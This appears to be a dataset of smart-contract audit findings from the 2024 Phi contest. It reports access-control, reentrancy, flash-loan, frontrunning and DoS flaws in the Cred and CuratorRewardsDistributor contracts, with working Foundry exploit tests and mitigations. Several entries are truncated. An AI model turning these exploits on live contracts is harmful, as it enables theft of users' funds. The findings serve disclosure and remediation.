xanoutas/solidity-security-findings huggingface dataset:
A malicious actor can easily add any elements of any user's credIds array making it possible for the getPositionsForCurator() function to revert
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L684-L729


# Vulnerability details

## Impact
The `_addCredIdPerAddress()` function have public visibility which allows a malicious actor to update the values of `_credIdsPerAddress`, `_credIdsPerAddressCredIdIndex` and `_credIdsPerAddressArrLength` maps on behalf of any user. 

In worst case scenario, the `credIds` array of an user may grow excessively large, leading to the `getPositionsForCurator()` function reverting due to exceeding the block gas limit.

## Proof of Concept
Storage Maps mentioned
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L50-L53 

`_addCredIdPerAddress()` function
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L684-L692

`getPositionsForCurator()` function
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L480-L523
## Tools Used
Manual Analysis
## Recommended Mitigation Steps
Set `_addCredIdPerAddress()` visibility to internal.














## Assessed type

DoS
A malicious actor can easily substract any elements of any user's credIds array making it impossible for the user to sell his shares
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L695


# Vulnerability details

## Impact
The `_removeCredIdPerAddress()` function have public visibility which allows a malicious actor to update the values of `_credIdsPerAddress`, `_credIdsPerAddressCredIdIndex` and `_credIdsPerAddressArrLength` maps on behalf of any user. 

A malicious actor can remove every element of the credId array of other users, making imposible for the user to sell since transaction will revert on `EmptyArray` on `_removeCredIdPerAddress()` function.

Storage Maps Mentioned
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L50-L53 

## Proof of Concept
```Solidity
function test_poc_SellAction() public {
        _createCred("BASIC", "SIGNATURE", 0x0);
        vm.startPrank(anyone);
        uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 1);
        uint256 maxPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 2);
        cred.buyShareCred{ value: buyPrice }(1, 1, maxPrice);
        vm.stopPrank();

        vm.startPrank(user1);
        cred._removeCredIdPerAddress(1, anyone); // Atacker calls _removeCredIdPerAddress leaving credIds array empty for Anyone user            
        vm.stopPrank();
        vm.startPrank(anyone);
        vm.warp(block.timestamp + 10 minutes + 1 seconds);
        uint256 minPrice = bondingCurve.getSellPriceAfterFee(1, 1, 1);
        cred.sellShareCred(1, 1, minPrice); // Anyone tries to sell but fails because array is now empty
    }
```
## Tools Used

Manual Analysis

## Recommended Mitigation Steps

Set `_removeCredIdPerAddress()` visibility to internal.








## Assessed type

DoS
lack of access control in `CuratorRewardsDistributor:distribute` allows any user to call distrubute and claim ETH dust.
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://vscode.dev/github/code-423n4/2024-08-phi/blob/main/src/reward/CuratorRewardsDistributor.sol#L77


# Vulnerability details

## Impact
The `distribute` function has no access control allowing for any user to call this function on an active cred.

```solidity
_msgSender().safeTransferETH(royaltyfee + distributeAmount - actualDistributeAmount);
```

This line of code is implemented to clear dust amounts of ETH from the contract and sends the excess ETH from rounding to the `msg.sender`, which in this case can be any external user.

## Proof of Concept (Proof Of Code)
Add the following test to the `CuratorRewardsDistributor.t.sol`:

```solidity
    function testAnyoneCallsDistribute() public {
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        // Deposit some ETH to the curatorRewardsDistributor
        curatorRewardsDistributor.deposit{ value: depositAmount }(credId, depositAmount);

        // Signal creds for different users
        vm.startPrank(user1);
        vm.deal(user1, bondingCurve.getBuyPriceAfterFee(credId, 1, 1));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 1, 1) }(credId, 1, 0);
        vm.stopPrank();

        vm.startPrank(user2);
        vm.deal(user2, bondingCurve.getBuyPriceAfterFee(credId, 2, 2));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 2, 2) }(credId, 2, 0);
        vm.stopPrank();

        // Record initial balances
        uint256 initialUser1Balance = phiRewards.balanceOf(user1);
        uint256 initialUser2Balance = phiRewards.balanceOf(user2);
        uint256 anyoneBalance = anyone.balance;

        // Distribute rewards
        vm.prank(anyone);
        curatorRewardsDistributor.distribute(credId);

        // Check final balances
        uint256 finalUser1Balance = phiRewards.balanceOf(user1);
        uint256 finalUser2Balance = phiRewards.balanceOf(user2);
        uint256 finalAnyoneBalance = anyone.balance;

        // Assert the distribution
        assertEq(
            finalUser1Balance - initialUser1Balance,
            (depositAmount - depositAmount / 100) / 4,
            "User1 should receive 1/4 of the rewards"
        );

        assertEq(
            finalUser2Balance - initialUser2Balance,
            ((depositAmount - depositAmount / 100) * 2) / 4,
            "User2 should receive 2/4 of the rewards"
        );

        assertEq(
            finalAnyoneBalance - anyoneBalance, (depositAmount / 100),
            "Anyone should receive 1/100 of the rewards"
        );

        // Check that the balance in curatorRewardsDistributor is now 0
        assertEq(
            curatorRewardsDistributor.balanceOf(credId),
            0,
            "CuratorRewardsDistributor balance should be 0 after distribution"
        );

        console2.log("Wei Received", finalAnyoneBalance - anyoneBalance);
    }
```

The following output is shown:

```
[PASS] testAnyoneCallsDistribute() (gas: 712139)
Logs:
  We
Wrong function visibility allows anyone to add/remove `credId` from any address's list
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L684-L692
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L694-L729


# Vulnerability details

## Impact
Anyone can call functions `Cred#_addCredIdPerAddress` and `Cred#_removeCredIdPerAddress` to add and remove `credId` from any address's list

## Proof of Concept
Modify the test file `test/Cred.t.sol` as below:

```diff
diff --git a/test/Cred.t.sol b/test/Cred.t.sol
index da9157c..6134a35 100644
--- a/test/Cred.t.sol
+++ b/test/Cred.t.sol
@@ -56,7 +56,22 @@ contract TestCred is Settings {
         _createCred("BASIC", "SIGNATURE", 0x0);
         cred.isShareHolder(1, participant);
 
-        assertEq(cred.isShareHolder(1, participant), true, "cred 1 is voted by participant");
+        vm.stopPrank();
+
+        (uint256[] memory credIds, uint256[] memory amounts) = cred.getPositionsForCurator(participant, 0, 0);
+        assertEq(credIds.length, 1);
+        assertEq(amounts.length, 1);
+
+        cred._addCredIdPerAddress(1, participant);
+        (credIds, amounts) = cred.getPositionsForCurator(participant, 0, 0);
+        assertEq(credIds.length, 2);
+        assertEq(amounts.length, 2);
+
+        cred._removeCredIdPerAddress(1, participant);
+        cred._removeCredIdPerAddress(1, participant);
+        (credIds, amounts) = cred.getPositionsForCurator(participant, 0, 0);
+        assertEq(credIds.length, 0);
+        assertEq(amounts.length, 0);
     }
 
```

Run the test `test_createCred` and the console show:
```bash
Ran 1 test for test/Cred.t.sol:TestCred
[PASS] test_createCred() (gas: 462289)
```

## Tools Used

## Recommended Mitigation Steps


## Assessed type

Access Control
Bypass share lock duration to sell Cred share at the first share purchase
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L638-L644
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L570


# Vulnerability details

## Impact
In flow of creating a new Cred, the caller has to buy the [first `1` amount of cred share](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L570)
If there is excess ether value sent by the caller, then there will be a [refund to the caller](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L641-L643), effectively give caller execution control. At this execution step, the last trade timestamp has not updated yet and the caller can reenter the contract to sell Cred share, which can bypass the share lock duration

## Proof of Concept
Modify the test file `test/Cred.t.sol` as below:
```diff
diff --git a/test/Cred.t.sol b/test/Cred.t.sol
index da9157c..ea05f36 100644
--- a/test/Cred.t.sol
+++ b/test/Cred.t.sol
@@ -43,7 +43,7 @@ contract TestCred is Settings {
         (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
         if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
 
-        cred.createCred{ value: buyPrice }(participant, signCreateData, abi.encodePacked(cr, cs), 100, 100);
+        cred.createCred{ value: buyPrice + 1 }(participant, signCreateData, abi.encodePacked(cr, cs), 100, 100);
         vm.stopPrank();
     }
 
@@ -90,17 +90,9 @@ contract TestCred is Settings {
     }
 
     function test_SellAction() public {
+        deployCodeTo("Reenter", participant); // @audit POC of reenter sell
         _createCred("BASIC", "SIGNATURE", 0x0);
-        vm.startPrank(anyone);
-        uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 1);
-        uint256 maxPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 2);
-
-        cred.buyShareCred{ value: buyPrice }(1, 1, maxPrice);
-        assertEq(cred.isShareHolder(1, anyone), true, "cred 1 is voted by anyone");
-        vm.warp(block.timestamp + 10 minutes + 1 seconds);
-        uint256 minPrice = bondingCurve.getSellPriceAfterFee(1, 1, 1);
-        cred.sellShareCred(1, 1, minPrice);
-        assertEq(cred.isShareHolder(1, anyone), false, "cred 1 isnt voted by anyone");
+        assertEq(cred.isShareHolder(1, participant), false, "should not hold the first share");
     }
 
     function test_batchTradeAction() public {
@@ -244,3 +236,14 @@ contract TestCred is Settings {
         assertEq(cred.credInfo(credId).currentSupply, 1); // Only initial purchase remains
     }
 }
+
+contract Reenter {
+    uint256 x = 0;
+
+    fallback() external payable {
+        if (x == 0) {
+            ++x;
+            msg.sender.call(abi.encodeWithSignature("sellShareCred(uint256,uint256,uint256)", 1, 1, 0));
+        }
+    }
+}
```

Run the test `test_SellAction` and the console shows:
```bash
Ran 1 test
DoS in `CuratorRewardsDistributor` due to accumulation of curators with 0 shares in `Cred`
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L84
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L666-L682


# Vulnerability details

## Impact

Permanent Denial of Service in `CuratorRewardsDistributor` for any `credId` when a certain number of curators have bought / sold shares; locking of funds deposited to the `credId`.

## Summary

`CuratorRewardsDistributor::distribute()` requests the curators for a particular `credId` from the `Cred` contract [as follows](
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L84):

```
        address[] memory distributeAddresses = credContract.getCuratorAddresses(credId, 0, 0);
```

In the above, `0` is used for both `start_` and `stop_` parameters of `getCuratorAddresses` function, thus instructing it to retrieve all curators for a particular `credId`. The latter extracts them from [shareBalance](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L46), which is `EnumerableMap.AddressToUintMap` from OZ. `shareBalance` is updated via [_updateCuratorShareBalance](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L666-L682), which always sets the keys for `AddressToUintMap`, but never removes them, even for entries with `0` shares. There can't be more than 999 shares, but `0` entries in the map get accumulated endlessly, thus causing `getCuratorAddresses` to run out of gas when iterating. This results in the permanent DoS for a particular `credId` reward distribution in `CuratorRewardsDistributor`, when a certain number of curators have bought and sold their shares.


## Proof of Concept

Drop this test to [CuratorRewardsDistributor.t.sol](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/test/CuratorRewardsDistributor.t.sol#L36) and execute via `forge test --match-test Kuprum`

```solidity
    function testKuprum_Distribute() public {
        // Do not account for gas usage in preparation phase
        vm.pauseGasMetering();
        uint256 N = 14700; // Number of different cred curators over time
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        // Signal creds for different users
        for (uint256 i = 0; i < N; i++) {
            address user = makeAddr(string(abi.encodePacked("user-", i)));
            vm.startPrank(user);
            vm.deal(user, bondingCurve.getBuyPriceAfterFee(credId, 1, 1));
            cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 1, 1) }(credId, 1, 0);
            vm.warp(block.timestamp + 10 minutes + 1 seconds);
            cred.sellShareCred(credId, 1, 0);
            vm.stopPrank();
        }

        vm.startPrank(user1);
        vm.deal(user1, bondingCurve.getBu
Malicious User Can Use flashloan attack to get majority of the PhiRewards
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L178-L180
https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L588-L659
https://github.com/code-423n4/2024-08-phi/blob/main/src/reward/CuratorRewardsDistributor.sol#L77-L131


# Vulnerability details

## Impact
Malicious user can use flashloan attack and re-entrancy attack in the Cred.sol contract to steal majority of the PhiRewards.

## Proof of Concept
When the distribute() function is called curators receive rewards shares based on the number of shares they have for a given cred ID, A malicious user can increase his shares number by taking a flashloan and buying majority of the shares for that cred and in the same transaction the malicious can take the PhiRewards and sold his cred shares. Even though there is a 10 minutes timelock guard for selling the cred shares but it can be bypassed with re-entrancy attack, as the timestamp tracking variable is updated after ETH transfer.

Step By Step Guide on the Attack idea:
1. Suppose some reward is deposited for credID 1 and user1 have 1 share for this cred and user2 have 2 shares for this cred.
2. Now a malicious user take a flashLoan from external source and purchase 200 shares for this credID with some extra ETH from the price+fees so that this excess will be transefered back to the msg.sender.
3. As the excess ETH transfer is happening before updating the `lastTradeTimestamp` , the malicious user can write the fallback function to call `CuratorRewardsDistributor.sol#distribute()` to get the majority reward first as he has majority of the cred shares and then he can sell the cred shares and also withdraw the reward ETH to repay the flashloan and the remainder will be the profit.

Here is a test case to check that the malicious user can buy the shares and bypassing the timelock check he can sell it in the same transactions:
(Save this into the CuratorRewardsDistributor.t.sol file and run: `forge test --mt testStealReward -vvv` )

```solidity
    uint x;
       
    function testStealReward() public {
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        // Deposit some ETH to the curatorRewardsDistributor
        curatorRewardsDistributor.deposit{ value: depositAmount }(credId, depositAmount);
        console2.log(curatorRewardsDistributor.balanceOf(credId));
        // Signal creds for different users
        vm.startPrank(user1);
        vm.deal(user1, bondingCurve.getBuyPriceAfterFee(credId, 1, 1));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 1, 1) }(credId, 1, 0);
        vm.stopPrank();

        vm.startPrank(user2);
        vm.deal(user2, bondingCurve.getBuyPriceAfterFee(credId, 2, 2));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 2, 2) }(credId, 2, 0);
        vm.stopPrank();

        // Record initial balances
        uint256 initialUser1Balance = phiRewards.balanceOf(user1);
        uint256 initialUser2Balance = p
Frontrunning of reward distribution allows to steal rewards from curators
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L68-L75
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77-L130


# Vulnerability details

## Impact

Loss of funds: curators can be deprived of their rewards due to frontrunning/sandwiching of `CuratorRewardsDistributor`'s `deposit()` / `distribute()`.


## Summary

The algorithm design of `CuratorRewardsDistributor` is too simplistic, and allows anyone to frontrun the call to  `CuratorRewardsDistributor::distribute()` / sandwich the call to `CuratorRewardsDistributor::deposit()` in order to get the majority of the rewards. Here is the scenario:

1. The owner submits the `deposit` transaction for to a certain `credId`
2. An attacker notices the transaction in the mempool, and frontruns `distribute()` as follows:
   - the attacker buys a large number of shares of `credId`
   - `deposit()` is executed
   - the attacker executes `distribute()` immediately after, thus receiving most of the rewards
   - the attackers gets rid of the now unneeded shares

Notice that a similar issue has been raised in [Renascence audit report](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/docs/audit/Renascence%20-%20Phi%20Audit%20Report.pdf) under the title "[H-1] Reward distribution is vulnerable to flash loan attacks". The proposed and implemented solution (introducing a cooldown period before selling the purchased shares), while being effective specifically against flash loan attacks, is ineffective for protecting against stealing distributed rewards. The attack still works as long as the distributed reward is larger than the fees paid for buying and selling the amount of shares needed to receive more rewards than the honest curators. The attack economics stays the same; the only difference wrt. the flash loan attack is that in the attack described here the attacker needs to possess own funds, while in the flash loan case they can borrow and repay them within the same transaction.

The attack will work always as long as the distribution of rewards is based on the momentary snapshot of shares; instead, the accounting needs to be performed who and for how long holds the shares. This approach is implemented in the so called "Billion dollar algorithm", originally from SushiSwap's MasterChef, and now broadly applied whenever rewards need to be distributed to shareholders. For a description see e.g. [The staking algorithm of Sushiswap MasterChef and Synthetix](https://www.rareskills.io/post/staking-algorithm).


## Proof of Concept

Drop this test to [CuratorRewardsDistributor.t.sol](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/test/CuratorRewardsDistributor.t.sol#L36) and execute via `forge test --match-test Kuprum`

```solidity
function testKuprum_FrontrunDeposit
Caller can steal royalty fees and rounding errors in `CuratorRewardsDistributor::distribute()`
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77-L130


# Vulnerability details


## Description

The `CuratorRewardsDistributor` contract is responsible for managing deposits and withdrawals for curator rewards. It interacts with the `PhiRewards` contract to distribute rewards to curators. The [`distribute()` function](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77-L130) in `CuratorRewardsDistributor` is designed to distribute rewards to curators based on their shares. However, there is a flaw in the implementation that allows the caller of this function to receive funds that should go to the contract owner or be retained in the contract.

The issue lies in the following code snippet from the [`distribute()` function](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77-L130):

```solidity
uint256 royaltyfee = (totalBalance * withdrawRoyalty) / RATIO_BASE;
uint256 distributeAmount = totalBalance - royaltyfee;

// ... calculation of individual amounts ...

balanceOf[credId] -= totalBalance;

_msgSender().safeTransferETH(royaltyfee + distributeAmount - actualDistributeAmount);

phiRewardsContract.depositBatch{ value: actualDistributeAmount }(
    distributeAddresses, amounts, reasons, "deposit from curator rewards distributor"
);
```

The function calculates a `royaltyfee` and a `distributeAmount`. It then distributes the `actualDistributeAmount` to curators. However, instead of sending the `royaltyfee` to the contract owner and keeping any rounding errors (difference between `distributeAmount` and `actualDistributeAmount`) in the contract, it sends both of these to the caller of the function (`_msgSender()`).

This allows the caller to receive funds that they should not be entitled to, potentially draining the contract of significant amounts over time.

## Impact

The impact of this is severe. It allows any caller of the [`distribute()` function](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77-L130) to steal funds from the contract in this way:
- The caller receives the `royaltyfee`, which should go to the contract owner or a designated treasury.


## Proof of Concept

Consider the following scenario:

1. A `credId` has a balance of 1000 ETH.
2. The `withdrawRoyalty` is set to 1% (100 in the contract's representation).
3. There are three curators with equal shares.

Step-by-step exploitation:

1. Attacker calls `distribute(credId)`.
2. Function calculates:
   - `royaltyfee` = 1000 * 100 / 10000 = 10 ETH
   - `distributeAmount` = 1000 - 10 = 990 ETH
3. Each curator receives 330 ETH (990 / 3, rounded down).

**Result:** The attacker has stolen 10 ETH that should have gone to the contract owner.

## Tool